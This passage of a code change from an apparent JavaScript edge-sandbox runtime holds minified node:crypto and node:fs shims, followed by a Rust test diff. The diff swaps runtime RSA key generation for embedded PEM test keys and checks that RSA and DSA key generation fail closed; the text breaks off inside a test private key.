tagBuf;}};},createDecipheriv:function(algorithm,key,iv,options){__ensExt();__slice_ensure_shard(5);var alg=String(algorithm||"").toLowerCase(),isGcm=alg.indexOf("gcm")!==-1,kB=__toBytes(key),ivB=__toBytes(iv),aadB=null,chunks=[],authTag=null,autoPad=true,tagLen=(options&&options.authTagLength)?Number(options.authTagLength)*8:128;var hid=__slice_crypto_key_register(isGcm?"AES-GCM":"AES-CBC","",kB);return{setAAD:function(buf){aadB=__toBytes(buf);return this;},setAuthTag:function(buf,enc){authTag=__toBytes(buf,enc);return this;},setAutoPadding:function(ap){autoPad=(ap===undefined)?true:Boolean(ap);return this;},update:function(data,inEnc,outEnc){chunks.push(__toBytes(data,inEnc));return __encOut(new __U8(0),outEnc);},final:function(outEnc){var ciph=__catBytes(chunks);chunks=[];if(isGcm){if(!authTag)throw new Error("ERR_CRYPTO_INVALID_STATE: Unsupported state or unable to authenticate data (missing authTag)");var combined=new __U8(ciph.byteLength+authTag.byteLength);combined.set(ciph,0);combined.set(authTag,ciph.byteLength);var ab=__slice_crypto_cipher("AES-GCM",false,hid,kB,ivB,aadB,tagLen,combined,true);return __encOut(new __U8(ab),outEnc);}var abC=__slice_crypto_cipher("AES-CBC",false,hid,kB,ivB,null,128,ciph,autoPad);return __encOut(new __U8(abC),outEnc);}};},generateKeyPairSync:function(type,options){__ensExt();__slice_ensure_shard(5);var t=typeof type==="string"?type.toLowerCase():"";if(t==="rsa"||t==="rsa-pss"){var eRsa=new Error("ERR_CRYPTO_UNSUPPORTED_OPERATION: Runtime RSA key generation is disabled in the edge sandbox; import an existing RSA key or generate 'ed25519', 'x25519', or 'ec'");eRsa.code="ERR_CRYPTO_UNSUPPORTED_OPERATION";throw eRsa;}if(t!=="ed25519"&&t!=="x25519"&&t!=="ec"){var eType=new TypeError("The argument 'type' must be a supported key type. Received '"+String(type)+"'");eType.code="ERR_INVALID_ARG_VALUE";throw eType;}var o=options||{};var info;if(t==="ed25519"){info=JSON.parse(__slice_crypto_asym_keygen("Ed25519",""));}else if(t==="x25519"){info=JSON.parse(__slice_crypto_asym_keygen("X25519",""));}else{info=JSON.parse(__slice_crypto_asym_keygen("ECDSA",String(o.namedCurve||"P-256")));}var crv=(t==="ec")?(info.crv||"P-256"):undefined;var pubKO=new KeyObject("public",t,crv,info.pubId,__slice_base64_decode_bytes(info.spki),info,undefined);var privKO=new KeyObject("private",t,crv,info.privId,__slice_base64_decode_bytes(info.pkcs8),info,undefined);var pubOut=o.publicKeyEncoding?pubKO.export(o.publicKeyEncoding):pubKO;var privOut=o.privateKeyEncoding?privKO.export(o.privateKeyEncoding):privKO;return{publicKey:pubOut,privateKey:privOut};},generateKeyPair:function(type,options,cb){if(typeof options==="function"){cb=options;options={};}try{var kp=m.generateKeyPairSync(type,options);if(typeof cb==="function")queueMicrotask(function(){cb(null,kp.publicKey,kp.privateKey);});}catch(e){if(typeof cb==="function")queueMicrotask(function(){cb(e);});else throw e;}},diffieHellman:function(opts){__ensExt();__slice_ensure_shard(5);if(!opts||!opts.privateKey||!opts.publicKey){var eDh=new TypeError("diffieHellman requires options.privateKey and options.publicKey");eDh.code="ERR_INVALID_ARG_TYPE";throw eDh;}var priv=__parseKeyObj(opts.privateKey,true),pub=__parseKeyObj(opts.publicKey,false);if(priv.type!=="private"||pub.type!=="public"||priv.asymmetricKeyType!=="x25519"||pub.asymmetricKeyType!=="x25519"){var eK=new TypeError("diffieHellman supports x25519 privateKey and publicKey KeyObjects");eK.code="ERR_INVALID_ARG_VALUE";throw eK;}return Buffer.from(__slice_crypto_ecdh("X25519",priv._id,priv._raw,pub._id,pub._raw));},createPrivateKey:function(k){return __parseKeyObj(k,true);},createPublicKey:function(k){return __parseKeyObj(k,false);},createSecretKey:function(k,enc){__slice_ensure_shard(5);var b=__toBytes(k,enc);return new KeyObject("secret","secret",undefined,0,b,null);},sign:function(alg,data,key,cb){__ensExt();__slice_ensure_shard(5);try{var ko=__parseKeyObj(key,true);var dsaEnc=(key&&typeof key==="object"&&key.dsaEncoding)?String(key.dsaEncoding):"der";var usePss=(ko.asymmetricKeyType==="rsa-pss")||Boolean(key&&typeof key==="object"&&key.padding===6);var isRsa=(ko.asymmetricKeyType==="rsa"||ko.asymmetricKeyType==="rsa-pss");var hostAlg=ko.asymmetricKeyType==="ed25519"?"Ed25519":(isRsa?(usePss?"RSA-PSS":"RSA"):"ECDSA");var subParam=isRsa?String(alg||"SHA-256"):(ko.asymmetricKeyDetails.namedCurve||"P-256");var ab=__slice_crypto_asym_sign(hostAlg,subParam,ko._id,ko._raw,__toBytes(data),dsaEnc!=="ieee-p1363");var b=Buffer.from(ab);if(typeof cb==="function"){queueMicrotask(function(){cb(null,b);});return;}return b;}catch(e){if(typeof cb==="function"){queueMicrotask(function(){cb(e);});return;}throw e;}},verify:function(alg,data,key,sig,cb){__ensExt();try{var ko=__parseKeyObj(key,false);var usePss=(ko.asymmetricKeyType==="rsa-pss")||Boolean(key&&typeof key==="object"&&key.padding===6);var isRsa=(ko.asymmetricKeyType==="rsa"||ko.asymmetricKeyType==="rsa-pss");var hostAlg=ko.asymmetricKeyType==="ed25519"?"Ed25519":(isRsa?(usePss?"RSA-PSS":"RSA"):"ECDSA");var subParam=isRsa?String(alg||"SHA-256"):(ko.asymmetricKeyDetails.namedCurve||"P-256");var ok=Boolean(__slice_crypto_asym_verify(hostAlg,subParam,ko._id,ko._raw,__toBytes(sig),__toBytes(data)));if(typeof cb==="function"){queueMicrotask(function(){cb(null,ok);});return;}return ok;}catch(e){if(typeof cb==="function"){queueMicrotask(function(){cb(e);});return;}throw e;}},createSign:function(alg){var chunks=[];return{update:function(d,enc){chunks.push(__toBytes(d,enc));return this;},sign:function(key,outEnc){var sig=m.sign(alg,__catBytes(chunks),key);chunks=[];return(!outEnc||outEnc==="buffer")?sig:sig.toString(outEnc);}};},createVerify:function(alg){var chunks=[];return{update:function(d,enc){chunks.push(__toBytes(d,enc));return this;},verify:function(key,sig,sigEnc){var sB=typeof sig==="string"?__toBytes(sig,sigEnc||"base64"):__toBytes(sig);var ok=m.verify(alg,__catBytes(chunks),key,sB);chunks=[];return ok;}};},getHashes:function(){return["sha1","sha256","sha384","sha512","md5"];},getCiphers:function(){return["aes-128-gcm","aes-256-gcm","aes-128-cbc","aes-256-cbc"];},get subtle(){__slice_ensure_shard(4);return globalThis.crypto.subtle;},get webcrypto(){__slice_ensure_shard(4);return globalThis.crypto;}};m.default=m;m.__esModule=true;return __slice_builtins["crypto"]=__slice_builtins["node:crypto"]=m;})();"#; const BUILTIN_FS_SNIPPET: &[u8] = br#"(function(){var __watchers=[],__fds=Object.create(null),__nextFd=10;function __fsErr(code,syscall,p,dest){var map={ENOENT:[-2,"no such file or directory"],EEXIST:[-17,"file already exists"],EISDIR:[-21,"illegal operation on a directory"],ENOTDIR:[-20,"not a directory"],ENOTEMPTY:[-39,"directory not empty"],EBADF:[-9,"bad file descriptor"],EACCES:[-13,"permission denied"],EINVAL:[-22,"invalid argument"]},info=map[code]||[-1,"unknown error"],msg=code+": "+info[1]+", "+syscall+(p!==undefined?" '"+p+"'":"")+(dest!==undefined?" -> '"+dest+"'":""),e=new Error(msg);e.code=code;e.errno=info[0];e.syscall=syscall;if(p!==undefined)e.path=String(p);if(dest!==undefined)e.dest=String(dest);return e;}function __getFd(fd,syscall){var e=__fds[Number(fd)];if(!e)throw __fsErr("EBADF",syscall);return e;}function __normW(p){return String(p||"").replace(/\\/g,"/").replace(/\/+$/,"")||"/";}function __notifyWatch(rawP,evType){if(__watchers.length===0)return;var np=__normW(rawP),sl=np.lastIndexOf("/"),dir=sl>0?np.slice(0,sl):"/",base=sl>=0?np.slice(sl+1):np;for(var i=0;i<__watchers.length;i++){var w=__watchers[i];if(w._closed)continue;var wp=w._path;if(np===wp||dir===wp||(w._rec&&np.indexOf(wp+"/")===0)){var rel=(np===wp)?base:(np.slice(wp.length+1)||base);w._emit(evType,rel);}}}function __fsData(d){if(typeof d==="string")return d;if(d instanceof Uint8Array)return d;if(d instanceof ArrayBuffer)return new Uint8Array(d);if(d&&d.buffer instanceof ArrayBuffer)return new Uint8Array(d.buffer,d.byteOffset||0,d.byteLength);return String(d);}function __toMs(t){if(t instanceof Date)return t.getTime();var n=Number(t);if(!Number.isFinite(n))return Date.now();return n<1e11?n*1000:n;}function __mkStats(sp,followSym,opts){var isSym=Boolean(__slice_fs_is_symlink_sync(sp)),sz=__slice_fs_stat_sync(sp);if(sz<0&&!(!followSym&&isSym)){if(opts&&typeof opts==="object"&&opts.throwIfNoEntry===false)return undefined;throw __fsErr("ENOENT",followSym?"stat":"lstat",sp);}if(sz<0)sz=0;var mt=__slice_fs_mtime_sync(sp),isDir=(!followSym&&isSym)?false:Boolean(__slice_fs_is_dir_sync(sp)),d=new Date(mt),bi=Boolean(opts&&typeof opts==="object"&&opts.bigint),vSz=bi?BigInt(Math.floor(sz)):sz,vMt=bi?BigInt(Math.floor(mt)):mt,vMode=bi?BigInt((!followSym&&isSym)?41471:(isDir?16877:33188)):((!followSym&&isSym)?41471:(isDir?16877:33188));return{size:vSz,mtimeMs:vMt,ctimeMs:vMt,atimeMs:vMt,birthtimeMs:vMt,mtime:d,ctime:d,atime:d,birthtime:d,mode:vMode,isFile:function(){return(!followSym&&isSym)?false:!isDir;},isDirectory:function(){return(!followSym&&isSym)?false:isDir;},isSymbolicLink:function(){return !followSym&&isSym;},isBlockDevice:function(){return false;},isCharacterDevice:function(){return false;},isFIFO:function(){return false;},isSocket:function(){return false;}};}function __cbWrap(syncFn){return function(){var args=[],cb=null;for(var i=0;i=0?n.slice(sl+1):n,par=sl>=0?((base==="/"?"":base)+"/"+n.slice(0,sl)):base,isD=Boolean(__slice_fs_is_dir_sync(fp)),isS=Boolean(__slice_fs_is_symlink_sync(fp));return{name:bn,parentPath:par,path:par,isFile:function(){return !isD&&!isS;},isDirectory:function(){return isD&&!isS;},isSymbolicLink:function(){return isS;},isBlockDevice:function(){return false;},isCharacterDevice:function(){return false;},isFIFO:function(){return false;},isSocket:function(){return false;}};});}if(o.encoding==="buffer"){__slice_ensure_shard(5);return names.map(function(n){return Buffer.from(n,"utf8");});}return names;},statSync:function(p,opts){return __mkStats(String(p),true,opts);},lstatSync:function(p,opts){return __mkStats(String(p),false,opts);},fstatSync:function(fd,opts){var e=__getFd(fd,"fstat");return __mkStats(e.path,true,opts);},openSync:function(p,flags,mode){var sp=String(p),fl=(flags===undefined||flags===null)?"r":String(flags),isR=fl==="r"||fl==="rs"||fl==="0",hasX=fl.indexOf("x")!==-1,isW=fl.charCodeAt(0)===119||fl==="1"||fl==="577",isA=fl.charCodeAt(0)===97||fl.indexOf("1024")!==-1,isPlus=fl.indexOf("+")!==-1||fl==="2";if(hasX&&m.existsSync(sp))throw __fsErr("EEXIST","open",sp);if(isR&&!isPlus){var raw=__slice_fs_read_bytes_sync(sp);if(raw===null)throw __fsErr("ENOENT","open",sp);}else if(isW){var wr=__slice_fs_write_file_sync(sp,new Uint8Array(0));if(wr===-21)throw __fsErr("EISDIR","open",sp);__notifyWatch(sp,"change");}else if(isA){if(!m.existsSync(sp))__slice_fs_write_file_sync(sp,new Uint8Array(0));else __slice_fs_append_file_sync(sp,new Uint8Array(0));}else if(isR&&isPlus){if(__slice_fs_stat_sync(sp)<0)throw __fsErr("ENOENT","open",sp);}var fd=__nextFd++;__fds[fd]={path:sp,flags:fl,mode:mode||438,pos:0,readable:isR||isPlus,writable:isW||isA||isPlus,append:isA};return fd;},closeSync:function(fd){__getFd(fd,"close");delete __fds[Number(fd)];},readSync:function(fd,buf,offOrOpts,len,pos){var e=__getFd(fd,"read");if(!e.readable)throw __fsErr("EBADF","read");var offset=0,length=buf?buf.byteLength:0,position=null;if(offOrOpts&&typeof offOrOpts==="object"){offset=Number(offOrOpts.offset)||0;length=offOrOpts.length!==undefined?Number(offOrOpts.length):(buf.byteLength-offset);position=offOrOpts.position!==undefined?offOrOpts.position:null;}else{offset=Number(offOrOpts)||0;length=len!==undefined?Number(len):(buf.byteLength-offset);position=pos!==undefined?pos:null;}var raw=__slice_fs_read_bytes_sync(e.path);if(!raw||raw===-21)return 0;var readPos=(position!==null&&position!==undefined&&Number(position)>=0)?Number(position):e.pos;if(readPos>=raw.byteLength||length<=0)return 0;var avail=Math.min(length,raw.byteLength-readPos);var target=new Uint8Array(buf.buffer||buf,(buf.byteOffset||0)+offset,avail);target.set(raw.subarray(readPos,readPos+avail),0);if(position===null||position===undefined||Number(position)<0)e.pos=readPos+avail;return avail;},writeSync:function(fd,bufOrStr,offOrPos,lenOrEnc,pos){var e=__getFd(fd,"write");if(!e.writable)throw __fsErr("EBADF","write");__slice_ensure_shard(5);var src,writePos=null;if(typeof bufOrStr==="string"){var enc=typeof lenOrEnc==="string"?lenOrEnc:(typeof offOrPos==="string"?offOrPos:"utf8");if(typeof offOrPos==="number")writePos=offOrPos;src=Buffer.from(bufOrStr,enc);}else{var u8=__fsData(bufOrStr),off=offOrPos!==undefined?Number(offOrPos):0,ln=lenOrEnc!==undefined?Number(lenOrEnc):(u8.byteLength-off);if(pos!==undefined&&pos!==null)writePos=Number(pos);src=u8.subarray(off,off+ln);}if(e.append){__slice_fs_append_file_sync(e.path,src);e.pos+=src.byteLength;__notifyWatch(e.path,"change");return src.byteLength;}var rawCur=__slice_fs_read_bytes_sync(e.path),cur=(rawCur&&rawCur!==-21)?rawCur:new Uint8Array(0);var p=(writePos!==null&&writePos>=0)?writePos:e.pos,nLen=Math.max(cur.byteLength,p+src.byteLength),out=new Uint8Array(nLen);out.set(cur,0);out.set(src,p);__slice_fs_write_file_sync(e.path,out);if(writePos===null||writePos<0)e.pos=p+src.byteLength;__notifyWatch(e.path,"change");return src.byteLength;},fsyncSync:function(fd){__getFd(fd,"fsync");},fdatasyncSync:function(fd){__getFd(fd,"fdatasync");},ftruncateSync:function(fd,len){var e=__getFd(fd,"ftruncate");return m.truncateSync(e.path,len);},futimesSync:function(fd,atime,mtime){var e=__getFd(fd,"futime");return m.utimesSync(e.path,atime,mtime);},fchmodSync:function(fd,mode){var e=__getFd(fd,"fchmod");return m.chmodSync(e.path,mode);},realpathSync:function(p){var sp=String(p);if(__slice_fs_stat_sync(sp)<0)throw __fsErr("ENOENT","realpath",sp);var r=__slice_fs_realpath_sync(sp);if(!r)throw __fsErr("ENOENT","realpath",sp);return r;},readlinkSync:function(p,opts){var sp=String(p),r=__slice_fs_readlink_sync(sp);if(!r)throw __fsErr("ENOENT","readlink",sp);if(opts==="buffer"||(opts&&opts.encoding==="buffer")){__slice_ensure_shard(5);return Buffer.from(r,"utf8");}return r;},truncateSync:function(p,len){var sp=String(p);if(!__slice_fs_check_write_sync(sp))return;if(__slice_fs_stat_sync(sp)<0)throw __fsErr("ENOENT","truncate",sp);var r=__slice_fs_truncate_sync(sp,len===undefined?0:Number(len));__notifyWatch(sp,"change");return r;},utimesSync:function(p,atime,mtime){var sp=String(p);if(!__slice_fs_check_write_sync(sp))return;if(__slice_fs_stat_sync(sp)<0)throw __fsErr("ENOENT","utime",sp);return __slice_fs_utimes_sync(sp,__toMs(atime),__toMs(mtime));},lutimesSync:function(p,atime,mtime){return m.utimesSync(p,atime,mtime);},mkdtempSync:function(prefix){var r=__slice_fs_mkdtemp_sync(String(prefix||"/tmp/slice-"));if(!r)throw __fsErr("EACCES","mkdtemp",prefix);return r;},chmodSync:function(p,mode){return __slice_fs_chmod_sync(String(p),Number(mode)||0);},symlinkSync:function(target,p){var sp=String(p),r=__slice_fs_symlink_sync(String(target),sp);__notifyWatch(sp,"rename");return r;},opendirSync:function(p){var sp=String(p),names=m.readdirSync(sp,{withFileTypes:true}),idx=0;return{path:sp,readSync:function(){return idx0)throw __fsErr("ENOTEMPTY","rmdir",sp);var r=__slice_fs_rm_sync(sp);__notifyWatch(sp,"rename");return r;},copyFileSync:function(s,d,mode){var ss=String(s),sd=String(d);if(__slice_fs_stat_sync(ss)<0)throw __fsErr("ENOENT","copyfile",ss,sd);if((Number(mode)&1)&&m.existsSync(sd))throw __fsErr("EEXIST","copyfile",ss,sd);var r=__slice_fs_copy_file_sync(ss,sd);__notifyWatch(sd,"change");return r;},cpSync:function(src,dest,opts){var s=String(src).replace(/\/+$/,""),d=String(dest).replace(/\/+$/,""),o=opts||{};if(typeof o.filter==="function"&&!o.filter(s,d))return;if(!m.existsSync(s))throw __fsErr("ENOENT","cp",s);if(Boolean(__slice_fs_is_symlink_sync(s))&&!o.dereference){var linkTarget=m.readlinkSync(s);m.symlinkSync(linkTarget,d);return;}if(Boolean(__slice_fs_is_dir_sync(s))){if(o.recursive===false)throw __fsErr("EISDIR","cp",s);m.mkdirSync(d,{recursive:true});var entries=m.readdirSync(s);for(var i=0;i=0;i--){var w=__watchers[i];if(w._path===np&&(!listener||w._wfListener===listener))w.close();}},createReadStream:function(p,opts){__slice_ensure_shard(5);var st=__slice_builtins["node:stream"]||__slice_load_builtin("node:stream");var o=(typeof opts==="string")?{encoding:opts}:(opts||{});var enc=o.encoding||null,hwm=Number(o.highWaterMark)||65536,start=o.start!==undefined?Number(o.start):0,end=o.end!==undefined?Number(o.end):Infinity;var rs=new st.Readable({highWaterMark:hwm,encoding:enc});rs.path=String(p);rs.bytesRead=0;rs.pending=true;queueMicrotask(function(){try{if(rs.destroyed)return;if(!m.existsSync(rs.path)){rs.emit("error",__fsErr("ENOENT","open",rs.path));return;}rs.pending=false;rs.emit("open",3);rs.emit("ready");var raw=Buffer.from(__slice_fs_read_bytes_sync(rs.path));var sliceEnd=Math.min(raw.length,end===Infinity?raw.length:end+1);var view=raw.subarray(start,sliceEnd);for(var off=0;off0)waiters.shift().res({value:ev,done:false});else q.push(ev);});w.on("close",function(){done=true;while(waiters.length>0)waiters.shift().res({value:undefined,done:true});});return{[Symbol.asyncIterator]:function(){return{next:function(){if(q.length>0)return Promise.resolve({value:q.shift(),done:false});if(done||w._closed)return Promise.resolve({value:undefined,done:true});return new Promise(function(res,rej){waiters.push({res:res,rej:rej});});},return:function(){w.close();return Promise.resolve({value:undefined,done:true});}};}};}};__fp.default=__fp;__fp.__esModule=true;Object.defineProperty(m,"promises",{value:__fp,writable:true,enumerable:true,configurable:true});Object.defineProperty(__slice_builtins,"fs/promises",{value:__fp,writable:true,enumerable:true,configurable:true});Object.defineProperty(__slice_builtins,"node:fs/promises",{value:__fp,writable:true,enumerable:true,configurable:true});}return __fp;}Object.defineProperty(m,"promises",{get:__getFp,enumerable:true,configurable:true});Object.defineProperty(__slice_builtins,"fs/promises",{get:__getFp,enumerable:true,configurable:true});Object.defineProperty(__slice_builtins,"node:fs/promises",{get:__getFp,enumerable:true,configurable:true});m.default=m;m.__esModule=true;return __slice_builtins["fs"]=__slice_builtins["node:fs"]=m;})();"#; diff --git a/crates/slice-engine/tests/async_webcrypto_and_node_tests.rs b/crates/slice-engine/tests/async_webcrypto_and_node_tests.rs index f121843..dbcc67e 100644 --- a/crates/slice-engine/tests/async_webcrypto_and_node_tests.rs +++ b/crates/slice-engine/tests/async_webcrypto_and_node_tests.rs @@ -3370,28 +3370,76 @@ import { EventEmitter } from "node:events"; const out: Record = {}; -// 1. Issue #58: RSA-2048, X25519, DSA keygen, DER sizes, RSA-SHA256 sign/verify, invalid key type -const rsaKeys = crypto.generateKeyPairSync("rsa", { modulusLength: 2048 }); -out.rsaKeyTypes = [rsaKeys.publicKey.asymmetricKeyType, rsaKeys.privateKey.asymmetricKeyType]; - -const rsaDer = crypto.generateKeyPairSync("rsa", { - modulusLength: 2048, - publicKeyEncoding: { type: "spki", format: "der" }, - privateKeyEncoding: { type: "pkcs8", format: "der" } -}); -out.rsaSpkiLen = rsaDer.publicKey.length; +// 1. RSA-2048 import + sign/verify, X25519 random keygen, and fail-closed RSA/DSA runtime keygen +const TEST_RSA_2048_PRIV_PEM = `-----BEGIN PRIVATE KEY----- +MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCfstKkx/2YDczM +aprvTAz5wzUDQ/I1sRCNb42iz8KU1vUzgLBTSScXZSR/J4KdI0zG2KhsVyl5dD6M +ERJ34ZClB+tDzGg4h5Y373ItlwsUfQZMAAIzJJUAvbfqSkKU79GPmm6jMatzqftS +vcPcMdKm9Ww+Oj5Qg1QOvBrA3qD33JTyEkcUNEnHA+ULpMFzQsFSiHcueNLPV9LB +ZwtvF5Rj0GLlJe/B9ibSjr1LP/Jx4gYAmx/D79Zs5h6zu1F6nUiNIAiyljEayH1N +UhjtW7SKHVwFrod9pk2KTGjiqd5t64E8lJQ1O1ku0EsQgLYjePVFZFmbbx4IEpJ5 +VglGHhrvAgMBAAECggEAPtkRs96uyunXaLUljzonOx3bHZNeXUn3ISo/G81Wntuv +uNqSydwWocrgn5fte6jaPMEkGyr8O/uG5/mKAprHIWNp748gjuqxMAcwMIfqSOBh +G4S/WOAzMYz4NaCO7m0o1DJrCxdviX/iU/AxhdUnuSQJur2SK35blMbrYm7a+1/5 +JF+5zZtxWgLerZAh7C/JPw80LTQN4AV52T27Nf3JsAxFJH0NxSS0z7jftWmMctKX +a7h45x2bs3P6Yqb5dGwoLbGDxDb1J0W9HtnNdh+pUe/pDgizUh6LUR+MPBFsKwAd +vXXdZZt5BTHKxK36/rLtmYYSkx3fGwieJlzklSpsRQKBgQDNu06k9aM/TqparK3K +UyGbSC1jppF0mxpAfIqtPWRw0EzVZ8ESb6elwo/BXKaE0YdkvVfIewGqxSYP5xO9 +rlz2uwBilWWmXrR4gKHcpVawdJbXAXZlkqxpnsanWbyW2Y3ql4gtttNf1yo242Lx +bBM6aw1rxRYbsJP01IoxZurKzQKBgQDGuBpeITHHZvuDEjxOiJDwIp6ojA4v00Mv +h8oTRHRYzgB02f6NYzIP9tejnWTq3GEtsvfwUv61agZxYrp3CLfCl/yRFD6J3m1l +b4+SWmu0D8vIFJMJ9r/ZoVvOZHzl3cOA8Pl0Gi1dutGbysO3Hw2BwWeE2xAeADXV +WioDrHM0qwKBgGbVNywxM9YTBgeoxH2bK/MoErf6rD3ywR52ogKR60CQfbc100XZ +1Zx/Mcfe/cTpzplGIzisc1rejHXqdO2c2A7jzf942YRdVivdcAqQAlLVFAiITJvc +wp1Qpc9EhYWJXOxjrcfb2K/RJuKkqfIuqTXMCLtTmgdhLbN1AVZMMRQJAoGASbAP +JwSMHvMTJOFoN37wr/tGdh2pTRa7/S4PQuHJevy4spv7hpZYBA92mxdMSsL5ziZl +RlqgVMlCJl2D44v6CFCvuWSWZC10x3588LpS4exRlpn6hGFZduwczQX6Qorfajrx +ZZonZHBYNbsUpB0BtzHunxdUfKt7SugqWD5kYg0CgYBSoCnx8Sof7BgYteS5p2O5 +nizvTevviLhUfoUzo+uGWHolYmssaRNkzDjwUGV6Q7ncgMcUXFPj5uZLU3ASZ+cG +yXmGqKEBlTsd+tukkfKq6YV1EZBh/XQ7uwtNMjiwWPqFaNFQcNQrmuP6UVdWlqRJ +oYEg8QGzr8H2y1ukdoelWQ== +-----END PRIVATE KEY-----`; + +const TEST_RSA_2048_PUB_PEM = `-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAn7LSpMf9mA3MzGqa70wM ++cM1A0PyNbEQjW+Nos/ClNb1M4CwU0knF2UkfyeCnSNMxtiobFcpeXQ+jBESd+GQ +pQfrQ8xoOIeWN+9yLZcLFH0GTAACMySVAL236kpClO/Rj5puozGrc6n7Ur3D3DHS +pvVsPjo+UINUDrwawN6g99yU8hJHFDRJxwPlC6TBc0LBUoh3LnjSz1fSwWcLbxeU +Y9Bi5SXvwfYm0o69Sz/yceIGAJsfw+/WbOYes7tRep1IjSAIspYxGsh9TVIY7Vu0 +ih1cBa6HfaZNikxo4qnebeuBPJSUNTtZLtBLEIC2I3j1RWRZm28eCBKSeVYJRh4a +7wIDAQAB +-----END PUBLIC KEY-----`; + +const rsaPrivKey = crypto.createPrivateKey(TEST_RSA_2048_PRIV_PEM); +const rsaPubKey = crypto.createPublicKey(TEST_RSA_2048_PUB_PEM); +out.rsaKeyTypes = [rsaPubKey.asymmetricKeyType, rsaPrivKey.asymmetricKeyType]; +out.rsaSpkiLen = rsaPubKey.export({ type: "spki", format: "der" }).length; const signer = crypto.createSign("RSA-SHA256"); signer.update("hello rsa"); -const rsaSig = signer.sign(rsaDer.privateKey); +const rsaSig = signer.sign(rsaPrivKey); out.rsaSigLen = rsaSig.length; -out.rsaVerifyOk = crypto.createVerify("RSA-SHA256").update("hello rsa").verify(rsaDer.publicKey, rsaSig); -out.rsaVerifyBad = crypto.createVerify("RSA-SHA256").update("tampered").verify(rsaDer.publicKey, rsaSig); +out.rsaVerifyOk = crypto.createVerify("RSA-SHA256").update("hello rsa").verify(rsaPubKey, rsaSig); +out.rsaVerifyBad = crypto.createVerify("RSA-SHA256").update("tampered").verify(rsaPubKey, rsaSig); + +try { + crypto.generateKeyPairSync("rsa", { modulusLength: 2048 }); +} catch (e: any) { + out.rsaKeygenCode = e.code; +} const x25519Keys = crypto.generateKeyPairSync("x25519"); +const x25519Keys2 = crypto.generateKeyPairSync("x25519"); out.x25519Type = x25519Keys.publicKey.asymmetricKeyType; +out.x25519Distinct = !x25519Keys.publicKey.export({ type: "spki", format: "der" }).equals( + x25519Keys2.publicKey.export({ type: "spki", format: "der" }) +); -const dsaKeys = crypto.generateKeyPairSync("dsa", { modulusLength: 2048, divisorLength: 256 }); -out.dsaType = dsaKeys.publicKey.asymmetricKeyType; +try { + crypto.generateKeyPairSync("dsa" as any, { modulusLength: 2048, divisorLength: 256 }); +} catch (e: any) { + out.dsaCode = e.code; + out.dsaIsTypeErr = e instanceof TypeError; +} try { crypto.generateKeyPairSync("no-such-type" as any); @@ -3469,8 +3517,11 @@ console.log(JSON.stringify(out)); assert_eq!(out["rsaSigLen"], 256); assert_eq!(out["rsaVerifyOk"], true); assert_eq!(out["rsaVerifyBad"], false); + assert_eq!(out["rsaKeygenCode"], "ERR_CRYPTO_UNSUPPORTED_OPERATION"); assert_eq!(out["x25519Type"], "x25519"); - assert_eq!(out["dsaType"], "dsa"); + assert_eq!(out["x25519Distinct"], true); + assert_eq!(out["dsaCode"], "ERR_INVALID_ARG_VALUE"); + assert_eq!(out["dsaIsTypeErr"], true); assert_eq!(out["invalidKeyCode"], "ERR_INVALID_ARG_VALUE"); assert_eq!(out["invalidKeyIsTypeErr"], true); assert_eq!(out["inspectDepth0"], "{ a: [Object] }"); @@ -3495,3 +3546,276 @@ console.log(JSON.stringify(out)); assert_eq!(out["ab2LenAndData"], serde_json::json!([16, 1, 4])); assert_eq!(out["ab3Len"], 4); } + +#[test] +fn test_x25519_rfc7748_key_agreement_and_rsa_dynamic_import_pss() { + let script = r#" +import crypto from "node:crypto"; + +const TEST_RSA_3072_PRIV_PEM = `-----BEGIN PRIVATE KEY----- +MIIG/AIBADANBgkqhkiG9w0BAQEFAASCBuYwggbiAgEAAoIBgQCEncbc56Nr2hxq +HuaVAvnJJNaZduBJfJF5JvEfzAMSui/cQK0J79BI7gOtKZp8napzIT13UHzA8dKg +nTct7Q52K/bOhKEbpl00FEo5x8YKnrjZ3TcpKJBt9Xa8RBR9QNuvD6V6/9I4WkX4 +979aDwIakspwoY1jZ3rma9z0u2Oxy/kcmgU251j81Q7N/Yox9OxbWxyp8JXfdPV4 +N1xQYJ6G3pJBiG74WJuIxVkUgRffZzbWL/N9i9hu3fh8YwcauFjhn/OTSC9kIrH3 +fLaJcQSmapGsr5Ky1OYzfCgfw5tieq8Qg/1ODwrp7Ij1PC0U+2weV23dWNjWizUC +aDfKI9cDPDqayXH6Cf9gUolviW1/pIi+GEYWIlZLi1d4B4GBBEGTsfvNK99EMxI+ +dJ7pMTX0dXoFhtg0z/9FLPnX0YSPp7nW0J6AubFEj7WF0hv+4y07Yg2S1fGaMy34 +d5eDlZZHQIzuc7DlOwDvCNtKTA5FbA9ciQL9L58o0VnxgxTqmQsCAwEAAQKCAYAU +3JMLbh79mN6ObRT9zO2JUFO36YTn2oIx6kfVJi03lXVw8vWlkgWUa2jFpT1JrC3D +la+LJOyzF3d4T7L99QQo38qf+yoy5M1Vo3l3tG75fbV7hDqorVpnCc2nWRhWCc1l +MRNpkXO67KyEOUjvPFwq3PuekzNgN0eUltQ35YCN2BX0g2AdnnAXudZt3hwOtsY1 +qtQMAa457DavNho+BKz7b2jXiURXqeyxq8XTHWmpeZ2dPQbTMZwW+LEdtCBKekQ7 +JWUfuT0k/w4UH7xTkdpGaUUFlbbKgT+AfyhBDmqxqeYK02lSJPv5wW+YK1VibXP2 +d2kdmgpPU/aP+dzs9KOrPFpWXCMepMjCfuQodmFW30u5C7qwr3ybdTtbG0r8kbQ+ +xkaoTEDBOv/MW9FFuwT+pQpr3nnlii7r4ZzvosZey87z2sRbSI3mNhrm41b3niOS +WE/Ows6KFRc39Pzk2+N8KT+WfRIRHI98ecjMie3sachZhySwLNjiYmGCkxn4V8kC +gcEAuTi66qV37hjPuOTWUe4RCr50kb9A/XFFEC1P46CzzijN25kX+nbpzprm1/tP +OdaepfRSapDBaZGfU1ajyZ/6qe9x0g+pZJYBtnS+Uligs1lsW98z+B8QNAEUdO2F +Zs9nDNaoZLSPuvLvC/6kUSHho2Voshdalu/GsLWrKdQmvy6889jP2MYM+yYlmJ9t +q1LuVqGS3W5Kp+Wvd8cpiI10eHaF2R8Nbl5uMyFiQTvbauNBmW7Mv1CNerhTfwAl +NfADAoHBALdK8amh3PzuO2jsUQTDlE+QEXZ/uVZVVrlvYUyexSk0/t/u2k/5RFyH +TDtmjArS/4H2etzreoGqScNeyBcsFBLgmq3fAaO4nXJzgsvHmz2VZ32J6om6MAF4 